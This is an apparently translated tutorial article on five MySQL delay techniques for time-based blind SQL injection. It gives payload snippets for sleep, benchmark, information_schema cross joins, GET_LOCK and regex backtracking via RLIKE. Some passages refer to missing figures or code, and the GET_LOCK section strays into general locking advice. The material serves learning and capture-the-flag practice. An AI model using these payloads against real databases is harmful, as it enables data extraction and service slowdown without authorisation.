Five delay methods for MySQL time blind injection (PWNHUB unexpected solution) Delay injection function Five: sleep(), benchmark(t,exp), Cartesian product, GET_LOCK() RLIKE regularization sleep()sleep(x) select sleep(5); benchmark() repeatedly executes an expressionbenchmark(t,exp) select benchmark(count,expr) is to repeatedly execute the expr expression count times, which makes the processing time very long to generate delay. For example, select benchmark(1000000,encode("hello","good")); select benchmark( 5000000, md5( 'test' )); Cartesian ProductCartesian product (because joining tables is a time-consuming operation) AxB = the set consisting of every combination of elements in A and B, which is the join tableSELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; select * from table_name A, table_name B select * from table_name A, table_name B,table_name C select count(*) from table_name A, table_name B, table_name C The table can be the same table GET_LOCK() Lock GET_LOCK(key,timeout) requires two connection sessions session1 session2 get_lock: However, after session 1 gets_lock, it is not released. Session 2 does not get_lock the same key, or does not get_lock, and can still perform any operation on the data. Therefore, locking is just a subjective desire to allow only one connection to perform certain operations at the same time. If other connections do not call get_lock to add the same lock, they will not be affected and can do whatever they want. session1 session2 Advantages and disadvantages analysis (1) This method is more effective for updating all columns, but the query statement must also be executed within the lock; (2) This method will automatically release the lock when the client is disconnected for no reason, which is better. Unlike the redis lock, if the lock is disconnected after adding it, the lock will remain; (3) This method locks all operations within the lock, not a specific table or a specific row, so different operations using the same key will share the same lock, which will lead to low efficiency; (4) If the query statement is placed before the lock, the data may be old, and the update will overwrite the data updated by other clients after the query and before the update; RLIKE REGEXP regular matching Use select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); Regular syntax: RPAD(str,len,padstr) Right-pad str with the string padstr until its length reaches len characters, and then return str. If str is longer than len', then it will be truncated to len characters. mysql> SELECT RPAD('hi',5,'?'); -> 'hi???' repeat(str,times) copies the string times ⭐️Looking for new delay functions concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' The above code is equivalent to This concludes this article on five delay methods for MySQL time blind injection. For more information about MySQL time blind injection, please search 123WORDPRESS.COM's previous articles or continue to browse the following related articles. I hope you will support 123WORDPRESS.COM in the future! You may also be interested in:
|
<<: Design Theory: Text Legibility and Readability
>>: Detailed steps for installing rockerChat in docker and setting up a chat room
View the nginx configuration file path Through ng...
There is often a scenario where the image needs t...
When encapsulating Vue components, I will still u...
XML files should be encoded in utf-8 as much as p...
question The seamless scrolling of pictures and t...
Preface About the performance comparison between ...
Preface When my team was developing the tax syste...
1. Basics of Linux Firewall The Linux firewall sy...
Table of contents Preface Check and uninstall Ope...
MySQL 5.7 and above versions provide direct query...
Table of contents Question: 1. First attempt 2. R...
Table of contents 1. Introduction to the basic fu...
Navigation, small amount of data table, centered &...
This article shares the specific code for JavaScr...
System environment: Win10 64-bit MySQL version: m...